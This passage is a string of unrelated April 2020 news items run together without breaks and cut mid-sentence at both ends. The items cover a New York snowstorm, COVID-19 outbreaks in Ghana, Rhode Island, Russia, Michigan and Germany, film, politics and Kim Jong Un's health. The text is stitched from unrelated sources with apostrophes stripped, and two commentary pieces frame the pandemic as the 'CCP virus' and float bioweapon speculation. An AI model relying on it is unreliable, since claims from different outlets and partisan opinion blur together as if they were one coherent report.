Crady, said "I wasn't surprised. And it wasn't really coming down in buckets, but it was still snowing and I thought, this is going to be bad." Another resident, Mr. Art Ritter, said "It's part of living in Upstate New York. You've got to expect it." The type of snow they got, was very wet and heavy. Draping over roofs and clinging to trees, bringing some of them down. Many people were outside cleaning up the fallen trees for quite some time. The Cherry Valley Superintendent, Mr. Taylor Miles, told us "I've been out here, well we started probably 5 o clock last night, 5:30, and I was out until 11:30. Then back out here again at 5 o clock this morning." Some of these trees fell on power lines, leaving some residents without power. Crews were out restoring power in Cherry Valley this morning, but it will be a while before the job is finished. Mr. Miles said "We'll be out here all day and probably the rest of the week cleaning up from everything. Getting power restored to some houses that lost it." The snow doesn't look to stick around much longer. A snowman that was built Monday morning, had mostly melted in just two hours. Even though it looks like winter now, with warmer weather forecasted for the next couple of days, a lot of this snow is expected to melt. It will fill up creeks and rivers and also rain is forecasted later in the week. Be cautious for areas of localized flooding in the village of Cherry Valley and Roseboom. Stay updated with our StormTracker2 team for your local forecast. Ten food vendors and three taxi drivers who operate at the Achimota government hospital have tested positive for COVID-19, Starrfm has gathered. The cases were confirmed after the hospital decided to conduct mass testing for individuals who do business within the hospital community. The samples were taken to the Noguchi memorial centre and came out positive. Nurses and other medical staff of the hospital are currently undergoing compulsory testing for COVID-19 beginning today Tuesday, April 28. Meanwhile, a police officer at Adenta in Accra has tested positive for COVID-19 after arresting and detaining a suspect who defied the lockdown directive. The suspect, who was apparently positive of the virus, was detained for a longer period at the Adenta police cells after court hearing because the Prisons service was not accepting new inmates as a result of the pandemic. A source at the Adenta district police command says the officer has been asked to self-quarantine after he tested positive. Coronavirus death toll in Ghana now stands at 11 with 1,550 infections and about 150 recoveries. Source: starrfmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video For the moment Rhode Island, the nations smallest state, walks an uncertain path. The mayors of its densely packed and polyglot cities speak of rising rates of infection. Last week, health officials announced that workers at Taylor Farms New England, which packs salads and produce for supermarkets in North Kingstown, had tested positive for the virus. By Sunday, 133 cases had been reported in connection with the facility. Statewide, hospitalizations appear to have peaked a week ago at 277, and have dropped slightly. Deaths from the virus reached a daily peak of 19 in Rhode Island earlier this month, according to a New York Times tally, and fell to as low as five on one day last week. By Monday, 7,708 people in Rhode Island were reported to have tested positive for the virus and 233 people had died. In its accomplishments and struggles, Rhode Island represents much that is confounding about confronting this virus. Like most of the governors in the Northeast, Ms. Raimondo was reluctant to issue a shelter-in-place order in mid-March, hoping that social distancing and the careful tracking of routes of infection might forestall a crushing shutdown of the economy. Global Opinion Starts Shifting Against Beijing Amid Pandemic Global opinion has started to shift against Beijing as an increasing number of leaders and officials have challenged or sought to seek accountability and transparency from the Chinese Communist Party (CCP) over its handling of the pandemic. Experts told The Epoch Times that an international falling out is occurring and will only continue to ramp up as countries start to seriously rethink their relationship with Beijing. They said leaders are becoming more wary of the communist state due to how it responded to the outbreak. Australiain a bipartisan effortrecently called for an independent review into how Beijing dealt with the CCP virus, widely known as the novel coronavirus. Foreign Minister Marise Payne said the probe would require international cooperation and has to be made a reality. In the wake of Paynes remarks, Chinese Ambassador Cheng Jingye threatened Australia with an economic hit if it didnt back down. Payne later responded by criticizing and rejecting the ambassadors threat. In Britain, politicians such as Tom Tugendhat, a Conservative Parliament member and chairman of the Foreign Affairs Committee, have directly called out China for covering up the virus and hampering the global response by spreading lieswhile also questioning if allowing Huaweis 5G technology into the UK was the right call. Downing Street officials say Beijing will face a reckoning, as reported by The Mail, while Britains intelligence communityMI6 and MI5also believe the country needs to reassess its relationship with China. German Chancellor Angela Merkel has urged China to be more transparent about the origin story of the virus, saying that it would benefit the global response. French President Emmanuel Macron said it would be naive to say China has handled the pandemic better than Western democracies, and that there is no such comparison. In a letter dated April 22, the German interior ministry said Chinese diplomats approached the countrys officials to try to persuade them to make positive statements about Beijings response to the pandemic. The ministry noted that the federal government has not complied with these requests. Downing Street has since removed China from its comparison virus charts, which include data from a number of other countries, over concerns that the regimes statistics are inaccurate. In the United States, a number of lawsuits have been filed, including from state attorney generals, U.S. law firms, and everyday Americans, who have sought justice over Chinas bungled response, which they argue led to the global spread of the virus. Carole Lieberman, a forensic expert witness and legal analyst, said countries around the world are waking up to the idea that the CCP may not have benign intentions, and that for some, its an inconvenient truth because they want to keep their trade deals and other benefits. Countries are generally considered to be immune to lawsuits unless they come under the exception of their actions being akin to terrorism, Lieberman told The Epoch Times. Some of the probes are pursuing the origins of the CCP virus and whether it was intended to be a bioweapon, or if it was from Chinas reckless laboratory conditions. Though China may not end up having to pay the trillions that lawsuits are seeking, their reputation has suffered an irreparable blow, Lieberman said. The whole world will be wary of anything to do with China for the foreseeable future. Internal government documents obtained by The Epoch Times have highlighted how the CCP purposefully underreported cases of the CCP virus and censored discussions of the outbreak, fueling the spread of the disease. For years, people have more or less let things like toxic pet food and baby products, carcinogenic products, shoddy manufacturing, and so on, slide by, Lieberman said. But coronavirus will be the straw that broke the camels back. Officials from a barrage of countries have publicly complained about receiving shoddy medical supplies they had bought from China in order to fight the pandemic. Among this list are Spain, the Czech Republic, Turkey, the Netherlands, Canada, and Ireland. In one of the instances, rapid CCP virus tests from China failed to detect the virus accurately in 7080 percent of all cases. An April poll (pdf) by survey firm McLaughlin & Associates found that 75 percent of Americans felt the United States should end its dependence on China for medical imports. Casey Fleming, chairman and CEO of intelligence and security strategy firm BlackOps Partners, said free world countries will start to join together to hold the CCP accountable not only for the false response but also monetary losses and loss of life. We need to expect China to try to control the narrative, shift blame, and use coercion in the process, he told The Epoch Times. The Epoch Times has documented stories of some Chinese citizensincluding whistleblower doctors, citizen journalists, scholars, and business peoplewho have been silenced by the regime for exposing the truth. In one of the more forceful actions in response to China, Japan is putting aside $2 billion of its stimulus money to pay companies to shift their production outside of the communist country, which ranks 177 out of 180 on press freedom in the 2019 Reporters Without Borders World Press Freedom Index. Waking Up It is unquestionable that more and more people are waking up to the realities of what the CCP is, according to Frank Gaffney, vice chairman of the Committee on the Present Danger: China. What country that has suffered at the hands of this Chinese Communist Party is going to think well of them, especially as the evidence shows that if this was not a weapon that they unleashed, it certainly is serving as one, he told The Epoch Times. Gaffney, who was assistant secretary of defense for international security policy during the Reagan administration, said that while it would be difficult to hold a foreign country like China fully accountable for its actions, at least well do some things that will hurt them for what theyve done. I think what youre going to see is certainly decoupling in terms of supply chains; thats beginning already, he said. I think theres some rethinking thats going on in terms of companies planning to do a lot of business with the Chinese. Meanwhile, a new policy in India requires foreign direct investments to now require government approval, which could further sour relations between China and India. But its not just politicians and leaders who are speaking out against the CCP, everyday citizens are starting to voice much of the same sentiment. As Americans struggle to combat a crisis not encountered before in their lives, an April 21 poll by the Pew Research Center found that 66 percent of Americans now have a negative opinion of Chinathe highest percentage recorded since the center first began asking the question in 2005. These views were held similarly by both Democrats and Republicans. In a UK YouGov poll conducted on April 17, a majority, 50 percent, voted that they did not trust at all the CCP virus death numbers reported by China. The second-highest option, receiving 32 percent of the vote, was that they dont fully trust them. The CCPs coverup, which has made the pandemic exponentially worse for the rest of the world, marks the awakening of citizens around the world to fully understanding the true evil of Chinese communism, according to Fleming. The growing sentiment against the CCP could cause a massive shift by U.S. and Western companies to decouple from communist China and spread their supply chain risk around the world, Fleming added, while also noting that U.S. national security policy is shifting, as seen in the new national counterintelligence strategy. COVID-19 has forced the world to stay at home with loss of freedom and income and plenty of free time to watch the pandemic, how the CCP has responded, and the carnage it has caused, Fleming said. It is natural for citizens and governments around the world to want to hold the violator responsible. By doing so, they will remove the cloak to the true evil of communist China. Due to the Coronavirus lockdown in India, cinema halls have been shut since mid-March, and this has a huge impact on the Hindi film industry. Many films, which were scheduled for release during this period, have been postponed indefinitely, including Shoojit Sircar's directorial Gulabo Sitabo. Uncertainty over when things might go back to being the way they used to be, is making some filmmakers choose digital release for the films ditching the traditional theatrical release. Shoojit says that although he would have ideally liked to see Gulabo Sitabo release in theatres, he is open to the idea of a digital release. The film, starring Amitabh Bachchan and Ayushmann Khurrana, was scheduled to hit the theatres on April 17. Talking to Mumbai Mirror in an interview, Shoojit said, "As a filmmaker, I'd want to see my film open in the theatres, but the situation today is unlike anything anyone had ever experienced. So, I'm open to a digital release if need be, but we will take a decision after May 3." Shoojit has another film, Sardar Udham Singh, lined up for release. Starring Vicky Kaushal in the lead, it is a biopic on the revolutionary freedom fighter Udham Singh, who assassinated General O'Dwyer responsible for the Jallianwala Bagh massacre. It was earlier scheduled for release on October 2, 2020, but has now been postponed to January 2021. When asked if he was considering a digital release even for that, Shoojit said, "Since it is scheduled for January 2021, we are not thinking about it right now. I'd like a film like this to be a big screen experience. I have lived with this dream for so long that when we were shooting at Jallianwala Bagh, I had tears in my eyes." ALSO READ: Vicky Kaushal Announces Wrap Of Sardar Udham Singh Biopic, Shares Picture From Streets Of London ALSO READ: Ayushmann Khurrana On His Journey In Bollywood: It Had Its Share Of Tears & Lack Of Self-Confidence MOSCOW A patient who had routine surgery at a hospital in St. Petersburg suddenly developed a fever after an operation. Doctors insisted on testing him for coronavirus and results showed that he had it. And so did the Russian doctors, nurses and other patients who had unwittingly come in contact with him. It just snowballed from there, said Dr. Dmitry Ptashnikov, head of the spinal surgery ward at the Vreden Institute for Traumatology and Orthopedics and one of the many medical workers who became infected. More than half of its staff and patients dozens in all eventually tested positive for COVID-19. Reports of infected medical workers are emerging almost daily as Russia copes with the virus. Last week alone, more than 200 doctors in Moscow and St. Petersburg were reported to have it, with some turning to social media to make their plight known. Its unclear how many Russian doctors and nurses overall have been infected. The Health Ministry did not respond to requests for comment but news reports from a dozen regions in the past two weeks suggest at least 450 medical workers have had COVID-19, with 11 doctors and five nurses dying. The number is likely to be much higher because hospital officials often hide such infections, said Semyon Galperin, head of the Doctors Defense League. I know of cases of hospital administrations not reporting medics getting infected because it may lead to sealing off the facility for quarantine and halting its operations, Galperin told The Associated Press. The number of coronavirus cases in Russia has risen quickly to more than 93,000 with 867 deaths, although some in the West question the accuracy of those reports. Most of Russias big cities have been locked down since March 30 under measures that were extended to May 11. Of 285 virus hot spots in the country, medical facilities account for more than half, said Deputy Prime Minister Tatyana Golikova. As cases rise, widespread shortages of personal protective equipment and questionable infection control procedures are becoming the biggest challenges in Russia. The Kremlin insists there are only isolated shortages. We only had regular surgical gowns, masks, gloves, Ptashnikov told the AP. Later we received proper protective equipment, but it was, unfortunately, a bit too late. Russia inherited a robust health care network from Soviet times about 5,300 hospitals and 1.1 million beds, the third largest amount of both in the world, according to the Organization of Economic Cooperation and Development. That provided a big head start when the outbreak was still in its early stages. By late March, about 80,000 beds were available. A little over half were occupied as of last week, officials said, and more beds are being prepared. To Russias credit, so far, except in a couple of the most overloaded hospitals in Moscow, were not hearing stories of inadequate capacity, said Judy Twigg, a professor at Virginia Commonwealth University and senior associate at the Center for Strategic and International Studies. We worry a lot about shortages of personal protective equipment, distribution of that equipment to the right places at the right time. And we worry about infection control procedures within health care facilities, she told the AP. Since the outbreak began, Russian health officials have been dividing hospitals into those treating coronavirus patients and those that arent. In Moscow, which has almost 52% of confirmed cases, 29 hospitals out of almost 100 have been repurposed and 24 more are being prepared. In St. Petersburg, 12 hospitals out of more than 30 are being converted. The hospitals get protective gear, and wards with virus patients are divided into dirty and clean zones, with patients and staff tested regularly. Yelena Sibikina, head of internal medicine in a coronavirus ward at Moscows Vinogradov Hospital No. 64, said the staff rehearsed protocols for two weeks before infected patients were admitted. Its 280 beds including 36 in the intensive care unit filled up in days. It is adequately stocked with protective suits, face masks, goggles, gloves and shoe covers. But doctors say the hospitals not treating virus patients lack proper procedures or supplies, putting those workers at risk if an infected person is admitted. There are no protocols in place for dividing patients, there is no special protective equipment for medics. The chances of getting sick are very high, Dr. Alexei Erlikh, a Moscow cardiologist, told the AP. Five wards at Moscow City Hospital No. 29, which is not yet ready for coronavirus patients, had to be shut down for quarantine, Erlikh said. The cardiac ICU he heads was sealed off last week after about a third of its staff got infected. St. Petersburgs Pokrovsky hospital was initially repurposed for treating pneumonia cases, but staff there immediately complained about needing protective equipment. City officials responded they didnt need such gear for treating pneumonia yet four days later, six patients were diagnosed with coronavirus. Only after a series of media appearances and videos sent to the government did workers get what they wanted. Now the hospital officially treats coronavirus patients. It was hard. Only us joining forces helped, Sergey Sayapin, an ICU specialist at the hospital, told the AP. He and four colleagues are being treated for COVID-19 that they caught at work. As more Russian doctors speak out, it is difficult to keep the problem under wraps. Such complaints have grown in recent weeks, with social media filled with messages of outrage and videos of doctors pleading for help. On Monday, about 50 workers at the Mariinsky hospital in St. Petersburg were reported to have been infected, and workers at two hospitals in the Moscow suburbs lodged complaints last week after dozens of doctors and nurses also got COVID-19. Ptashnikovs hospital was quarantined April 9 and many medical workers and patients are still locked inside. Cynical as this may sound, we should first and foremost take care of doctors and medical personnel, not the patients, he said, because if they are out of commission, then no one will be able to treat anyone. ___ Follow AP news coverage of the coronavirus pandemic at https://apnews.com/VirusOutbreak and https://apnews.com/UnderstandingtheOutbreak By Trend It is important for Azerbaijan to have international structures operating on its territory, Doctor of Historical Sciences, Director of the Azerbaijan Studies Center of the Ural Federal University (UrFU, Yekaterinburg, Russia) Alexander Nesterov told Trend. Nesterov, who is also the head of the Yekaterinburg representative office of the Baku International Multiculturalism Center, was commenting on the upcoming opening of the affiliate regional center of the World Economic Forum (WEF) in Azerbaijan soon. The WEF affiliate regional center will open in Azerbaijan. The corresponding protocol of intent was signed during a meeting between President of Azerbaijan Ilham Aliyev and WEF President Borge Brende. Azerbaijan is one of the first countries which signed this document with the WEF. In general, Azerbaijan has great opportunities and prospects, the expert said. "The opening of the WEF affiliate regional center in Baku is another addition to strengthen Azerbaijans positive image as a regional and international hub," Nesterov said. The expert thinks that Azerbaijans own initiatives, such as the creation and activity of the Baku International Multiculturalism Center, which greatly strengthens Azerbaijans image as a tolerant country, successfully combining tradition and modernity and being the humanitarian center of a big region, achieve much more success. In turn, Belarusian political analyst Aleksey Tokarev stressed that the opening of the WEF affiliate regional center will allow Azerbaijan to discuss the economic issues with other participants and strengthen the interstate cooperation. Practice shows that as far as the economy develops and investments are made, the European standards are important. As for the oil sector, I think that the opening of the WEF affiliate regional center in Baku will help attract investments in this sector," he said. Republic Media Network on Monday said that its Editor-in-Chief, Arnab Goswami, was interrogated by the Mumbai Police since 9 a.m. and the interrogation continued for over 12 hours, here on Monday. In a statement, the channel said that "he is cooperating with the investigators." The network also expressed its "deep disappointment" that despite Goswami's requests, two Congressmen -- who allegedly attacked him and his wife Samyabrata Ray, an Editor with Republic TV -- were released on a bail of Rs 15,000 by a Mumbai court. It termed the attack on Goswami as "a pre-planned Congress conspiracy" and alleged that "the police have flatly refused to register either a case of assault or conspiracy". The channel asked the Mumbai Police not to "do such a brazen cover-up". Goswami was summoned by the Mumbai Police on Sunday for questioning on his comments on top Congress leaders in connection with the lynching of three persons -- including two Sadhus -- in Maharashtra's Palghar district on April 16. Jeremy Clarkson has explained of his farming woes as the past few months have seen the wettest planting season on record and Covid-19 uncertainty. Clarkson, a self-confessed 'inept townie', began filming his eight-part Amazon Prime series 'I Bought the Farm' in September 2019. The series centres on the highs and lows of Clarkson's farming life on his 1,000 acre farm near Chipping Norton, Oxfordshire. The presenter said in an interview last year that switching from super cars to the steady pace of a tractor 'fills him with joy'. But in a recent YouTube 'quarantine quiz' hosted by Clarkson, he was asked by journalist Rachael Hogg whether the farm show was going to air anytime soon. He responded: "Yes, unfortunately a farming year is a year so we started in September and we'll finish, obviously in September when the harvest is in - if it's in," he said during the online pub quiz. "As has been pointed out for me, we couldn't have picked a worse year to start farming. "We had the wettest planting season on record, I mean the wettest not just slightly but by miles on record and just as soon as the rain stopped, everybody was told to go home and stay indoors. "So, it's been difficult and - I'll show you actually - look how much mud I've got on my trousers. That's life of a farmer. Completely covered in mud from head to foot," Clarkson said. ROME - Pope Francis waded into the church-state debate about virus-imposed lockdowns of religious services, calling Tuesday for prudence and obedience to government protocols to prevent infections from surging again. Francis appeal came just two days after Italian bishops bitterly complained that the Italian government offered no provisions for Masses to resume in its plan to reopen Italian business, social and sporting life starting May 4. While it wasnt clear if Francis intended to send a different message than the bishops, his appeal for obedience and prudence was in line with his previous calls to protect the most vulnerable, and for economic interests to take a back seat to shows of solidarity. At the same time, Francis has certainly chafed at the lockdown, saying early on that he felt like he was in a cage and lamenting more recently that the church isnt really Church without a community of faithful present and the administration of sacraments. As we are beginning to have protocols to get out of quarantine, let us pray that the Lord gives his people, all of us, the grace of prudence and obedience to the protocols so that the pandemic doesnt return, Francis said Tuesday. Italian Premier Giuseppe Contes government announced Sunday that funerals could resume starting May 4, but there was no information on when the faithful could attend Mass. In response, the Italian bishops conference expressed outrage that its proposals of safety protocols had apparently been ignored. The bishops said they cannot accept that freedom of worship is compromised. They argued the government should have distinguished between its duty to provide health guidance and the churchs right to organize the life of the Christian community, respecting the measures but in full autonomy. Contes office hastily responded that it was working on protocols to allow the resumption of liturgical services as soon as possible but in conditions of maximum security. Francis weighed in on the fraught issue at the start of morning Mass celebrated alone in the chapel of the Vatican hotel where he lives. Francis has been celebrating daily Mass to empty pews in observance of the Vaticans own lockdown measures, which mirror those of Italy, the epicenter of the European pandemic. The Vatican has recorded 10 positive cases, the last one confirmed Tuesday in a Holy See official who tested positive but is now asymptomatic. All the officials colleagues have tested negative, the Vatican said in a statement. When Conte locked all of Italy down in March, Francis vicar of Rome sparked an outcry among some of the faithful when he ordered all churches shut to comply. The vicar, Cardinal Angelo De Donatis, relented after speaking to Francis and allowed diocesan churches to remain open for individual prayer. De Donatis later tested positive for the virus and was hospitalized for 11 days before being released earlier this month. Italian bishops have been in negotiation with the government about a reopening of public services, and on Tuesday the bishops said those negotiations were continuing despite the tough tone of their Sunday statement. I think in any relationship, if its true, there will be moments in which you can and must raise your voice, as long as this doesnt become the norm, the undersecretary of the bishops conference, the Rev. Ivan Maffeis, told the TV2000 broadcaster. Francis weekly Sunday blessings from his window overlooking an empty St. Peters Square, not to mention his solo Holy Week and Easter services, have served as a stark visual reminder of how the pandemic has radically altered the practice of communal religious observance around the world. Some Catholic conservatives and traditionalists have bristled at the closures and framed them as a violation of their right to religious liberty. Some evangelical pastors in the U.S., Brazil and elsewhere have resisted lockdowns and held services, and big religious observances in South Korea, France and Iran have been been blamed for helping to spread the infection early on. ___ Follow AP pandemic coverage at http://apnews.com/VirusOutbreak and https://apnews.com/UnderstandingtheOutbreak North Korean leader Kim Jong Un's prolonged public absence has led to rumors of ill health and worries about how it could influence the future of what one analyst calls Northeast Asia's Achilles heel Seoul: North Korean leader Kim Jong Un's prolonged public absence has led to rumors of ill health and worries about how it could influence the future of what one analyst calls Northeast Asia's Achilles heel, a reference to the North's belligerence and unpredictable nature. But there's a basic question debated by the media and government intelligence services: Are the rumors even true? The exact state of Kim's health matters because it could determine the stability of the dynastic government in Pyongyang and the security of nuclear weapons that the nation has repeatedly threatened to use on its neighbors and the United States. It's a problem that outside nations have faced for decades. Gathering intelligence on perhaps the worlds most secretive, suspicious and difficult-to-read country is incredibly difficult. And theres probably nothing North Korea guards more closely than information on Kims health, which is only likely shared among a small portion of the elite, including his powerful sister, Kim Yo Jong. At the heart of the intelligence shortcomings about North Korea is its extremely closed nature. But there is also plenty of blame leveled in South Korea at efforts there. Supporters of South Koreas liberal government, which remains eager for inter-Korean engagement, lament the previous decade of conservative rule, when exchanges between diplomats, government and business leaders, aid groups and others stopped under hard-line policies toward North Koreas nuclear ambitions. This, they say, deprived spies of high-quality information sources. Conservatives, meanwhile, blame liberals for supposedly downsizing espionage operations while pursuing inter-Korean rapprochement. They say such networks have been difficult to rebuild. South Koreas government has repeatedly played down unconfirmed media reports that Kim is in fragile health following heart surgery, saying it has detected no unusual activity in North Korea or any emergency preparation by its ruling Workers' Party, military and Cabinet. Without specifying its sources, South Korea's presidential office said it believes Kim is handling state affairs normally at an unspecified site outside the capital, Pyongyang. US President Donald Trump told reporters Monday that he has a very good idea" about Kim's health but couldn't talk about it and wished him well. I do know how hes doing, relatively speaking," Trump said at the White House. Youll probably be hearing in the not-too-distant future. Some experts say South Korea, as well as its regional neighbors and ally Washington, must begin preparing for high-level instability that could come if Kim is sidelined by health problems or even dies. That could include North Korean refugees flooding South Korea or China or military hard-liners letting loose nuclear weapons. Planning for those are worst-case scenarios is crucial because nobody knows for sure whats happening, said Nam Sung-wook, a North Korea expert at Seouls Korea University who termed the situation the "Achilles' heel of international politics in Northeast Asia." He could very well be OK and reappear in North Korean state media again, but considering his weight and worsening shape, the risks linked to his health will sharply increase as he gets older, said Nam, a former director of a think tank affiliated with South Koreas main spy agency. Kim is overweight, reportedly smokes heavily and has other health problems. Questions about Kims health have been raised since he missed the birthday celebration of his late grandfather and state founder Kim Il Sung on 15 April, the countrys most important holiday. Kim, who is in his mid-30s, was last seen in public on 11 April, when he presided over a meeting discussing coronavirus prevention and electing his sister as an alternate member of the political bureau of the ruling Workers Party. State media have since reported that he sent greetings to Syrian President Bashar Assad, Cuban President Miguel Diaz-Canel and South African President Cyril Ramaphosa. On Monday, the official Rodong Sinmun newspaper said Kim sent a message of gratitude to workers building tourist facilities in the coastal town of Wonsan, which is where some speculate he is staying. No photos of him were published. South Korean intelligence and North Korean state media reports suggest that Kim could have suffered some sort of medical setback but likely not a life-threatening one, said Du Hyeogn Cha, a senior researcher at Seouls Asan Institute for Policy Studies. The root problem may be the shaky nature of South Korean intelligence. Even after decades of work, South Korea has yet to build a reliable intelligence network to gather information on the North, said Cha, an ex-intelligence secretary to former South Korean President Lee Myung-bak. Its clear our government has some level of information on the North, but not enough to make a confident statement about where he is and whether hes fully healthy. Finding out is important because incapacity at the top could lead to bogged-down decision-making that could boost the hard-liners who emerged following the collapse of Kims second summit with Trump in February last year. The Americans at that summit rejected North Korean demands for major sanctions relief in exchange for a partial surrender of the North's nuclear capabilities. The National Intelligence Service, Seouls spy agency, has said it cant confirm whether Kim had surgery. If Kim emerges well in state media, he would join past North Korean officials who were incorrectly reported incapacitated by outside media. Kim Il Sung shot dead remains perhaps the most famous newspaper headline in South Korean history. The 1986 Chosun Ilbo story was initially backed by a South Korean military statement that North Korea had announced the demise of its founder over loudspeakers at the mine-strewn border between the rival nations. But hours later, Kim Il Sung appeared at Pyongyangs airport to greet a Mongolian delegation. Another big problem is that for decades South Korea didn't have a strong grip on the location and health of North Koreas top leadership, according to Cheon Seong Whun, a presidential secretary during the South's previous conservative government. Anybody who says they know something for certain is just writing a novel, Cheon said. Beginning last week, the Michigan Department of Health and Human Services (MDHHS) expanded testing criteria as the state continues to work to increase testing supplies and access. Now any Michigander displaying mild symptoms or any essential worker still reporting to work in person, whether symptomatic or not, is eligible to get a test with an order from a health care provider. "Testing remains critical to our efforts to slow the spread of the virus," said Dr. Joneigh Khaldun, MDHHS chief medical executive and chief deputy for health. "Increased testing helps us understand where this disease is so we can identify people at highest risk and make sure we are quickly implementing best practices for preventing further cases and deaths." The expanded testing criteria has been in use since Monday as the state continues to work to increase testing supplies and access. The Centers for Disease Control has indicated 25% - and maybe more - of those exposed to the novel coronavirus show no symptoms. It is important to test so those who have the virus with mild or no symptoms can isolate themselves and avoid spreading the virus to those who are more at risk for complications. Common COVID-19 symptoms include fever, dry cough and shortness of breath. Those who experience symptoms should call their health care provider to discuss getting an order for testing. If a health care provider is unavailable, contact the nearby testing site to discuss getting an order for testing; in some cases, an order may not be necessary. Nearby sites can be found by visiting Michigan.gov/CoronavirusTest and entering the zip code. The test is free for most people. Many insurance providers are waiving copays, and those with Medicaid or the Healthy Michigan Plan also have no cost. "If you meet the testing criteria, and you're told you don't need a test or one isn't available, it may mean that test site does not have the supplies needed to test. We encourage you to visit the online test site locator and call the nearest site regarding next steps," Khaldun said. "You are your best advocate, and we know we need to increase testing as a strategy to further slow the spread of COVID-19." MDHHS would like to see 15,000 tests completed daily in Michigan per recommendations by the Harvard Global Health Institute, which published a recommendation of 152 tests per day per 100,000 population to begin to re-open the United States. That level of testing is necessary to identify the majority of people who are infected, and isolate them from people who are healthy, according to the Harvard researchers. It is important to contact the testing site before visiting to check on hours and expectations. Some sites can do testing while the patient remains in their car, others may require an appointment. Testing is performed with a nasopharyngeal swab, which means inserting a long Q-tip into the cavity between the nose and mouth for 15 seconds and rotating the swab several times. The swab is repeated on the other side to make sure there is enough material collected. The swab is then inserted into a container and sent to a lab for testing. The health care provider will contact you with the test results and to explain next steps. "We are hearing rumors the test isn't safe or actually contains coronavirus," said Khaldun. "That is untrue, and the swabs are completely safe and do not contain the virus." Those who test positive will be asked to isolate themselves for at least seven days. The patient can then leave their home after being symptom-free for three days. Those who develop severe symptoms and are having trouble breathing should call 911 or go to the nearest emergency room. Call a health care provider with questions about symptoms or testing. To find a testing site, visit Michigan.gov/CoronavirusTest. For information about COVID-19 and available resources, visit Michigan.gov/Coronavirus. Information around this outbreak is changing rapidly. The latest information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus. - Processed by Victoria Ritter, vritter@mdn.net Police pass by as visitors line up to enter the Zoo on 28 April 2020 in Berlin, Germany. The aquarium, animal houses and playgrounds will remain closed for the time being.(Maja Hitij/Getty Images) Germany is already seeing a rise in its coronavirus transmission rate just days after it started its gradual easing of the nationwide social and commercial COVID-19 lockdown. Authorities said on Tuesday that the transmission rate had ticked up from 0.9, where it had been for a few days in a row, to 1.0 (meaning one person only infects maximum one other person). The R0, or basic reproduction number, is a key measure that shows how many people are infected by one infected person. While the transmission rate is still a lot lower than the 3.0 it was at the beginning of March, the Robert Koch Institute (RKI) has repeatedly said that the rate needs to be pushed down to under 1.0 to dampen the spread of the virus and ensure that the countrys intensive care units are not overwhelmed. Chancellor Angela Merkel, who expressed her concern and annoyance last week that at the myriad of different discussions and approaches towards lifting lockdowns among the countrys 16 federal states, has warned that the country is far from out of the woods. We have to stay vigilant and disciplined, Merkel said. It would be a crying shame if we had a relapse with our eyes open. A scientist herself, Merkel recently explained the R0 measure in a press conference and described why even a slight increase makes a big difference. READ MORE: Merkel: 'We mustnt think for one second that we are safe' The curve has got flatter, but it still has to be in a shape that doesn't overburden our health system, Merkel said. Even if we assume that one person infects 1.1 others, we would reach the limits of what our health system and intensive care beds can manage in October. If we assume a rate of 1.2, we would reach the health system's limit in July. And with a rate of 1.3 we would get there in June, Merkel added. The rate will be closely monitored in the coming hours and days to determine if easing the lockdown measures may provoke a second spike in cases. If it goes up, there is the possibility that restrictions could be reintroduced. Story continues According to Johns Hopkins University data, Germany currently has 158,758 confirmed cases of coronavirus, and 6,126 deaths. As of this week, shops up to 800 square metres have been allowed to re-open across Germany. Some students will go back to school from 4 May, and hairdressers will be allowed to start seeing customers again. However, all states have now made it mandatory to wear face masks in shops and on public transport. The RKI said on Tuesday that while Germany had seen relative success in slowing the spread of the outbreak of the pandemic, people should still stay at home as much as possible and strictly follow social distancing rules. READ MORE: Ifo: German economy will shrink by 6.6% this year due to COVID-19 RKI president Lothar Wieler also said that the concept of a herd immunity approach to tackling the pandemic was inconceivable for Germany, as it is both dangerous and means reckoning with how many lives you would be willing to sacrifice for it. Watch the latest videos from Yahoo Finance UK The Case for Suing the Chinese Communist Party Commentary Whether we should allow Americans to sue China (or, more specifically, the Chinese Communist Party and its minions, as the Chinese people are victims as well) is rapidly becoming an important issue in light of the massive carnage caused by the novel coronavirus that emanated, it is largely believed, from Wuhan. We do not yet know the full extent of the malfeasances and prevarications of the Chinese Communist Party (CCP) in this regardalthough we have a good idea of somebut to begin to explore how justice could be served what we do know is enoughthe obfuscation of the extent of the epidemic for many days, and the fact that doctors and others were forbidden to communicate what was happening, with some actually disappearing while the virus spread to the entire world. President Donald Trump and others have been discussing seeking recompense from China on the governmental level, but what of the private citizen? What of us, the man and woman on the street, the actual victims? Seeking Compensation The purposes of a lawsuit are to compensate plaintiffs for damages suffered from the actions of defendants and to discourage those defendants from repeating said actions or something similar. Would either of these ends be served by individuals or class-action groups suing communist China for its conduct in and around the novel coronaviruscalled hereabouts, quite accurately, the CCP virus? Its hard to imagine any compensation being sufficient recompense for the more than 200,000 virus-caused deaths, nearly 60,000 in the United States, as of this writing, not to mention the destruction of economies worldwide that could have yet greater negative consequences for the health and welfare of the human race in the future. Who could calculate all that? And how could that compensation be collected anyway? As for the behavior of the CCP, why would lawsuits exercise any deterrence over such a totalitarian entity? Isnt that finally the burden for the Chinese people to overcome, extraordinarily daunting as that task may be? Or so it would seem. Yet in the real world, something must be done, some restitution must be made. To not do so would be an irresponsible insult to our citizens, almost all of whom have suffered to one degree or another, and a travesty of justice. To ignore this and go through the usual channels would change little, if anything. And, yes, such lawsuits can work, even financiallysurprisingly so. There is a proof of concept for suing China that I will get to in a moment. Sovereign Immunity Meanwhile, several teams of Congress members are already in the early phases of proposing legislation to enable U.S. citizens to sue the Peoples Republic. They are Sens. Marsha Blackburn (R-Tenn.) and Martha McSally (R-Ariz.) with Rep. Lance Gooden (R-Texas), Sen. Tom Cotton (R-Ark.) and Rep. Dan Crenshaw (R-Texas), and Sen. Josh Hawley (R-Mo.). Many similarities exist in the proposals of the three groups, but the Blackburn-McSally bill is almost exclusively citizen-oriented while the other two add varying degrees of State Department and Department of Justice oversight that could, as administrations change, present hurdles for the plaintiffs. Nevertheless, all three are on the right path and may eventually join forces down the line. That these legislators are all Republicans speaks to the degree to which our two main political parties are willing to confront the Peoples Republic of China at this time. However, some highly respected conservative legal thinkers are arguing against the proposed legislation, sometimes adamantly. The gist of their criticism is that in bypassing the recognized concept of sovereign immunity, codified in the Foreign Sovereign Immunities Act (1976), so that a state (or its minions) can be sued, the United States, with more interests throughout the world than any country, would be inviting reprisals, principally from China itself. In all, the critics are telling us to leave it to the big boys and girls, those in our government and diplomatic corps who know how to do 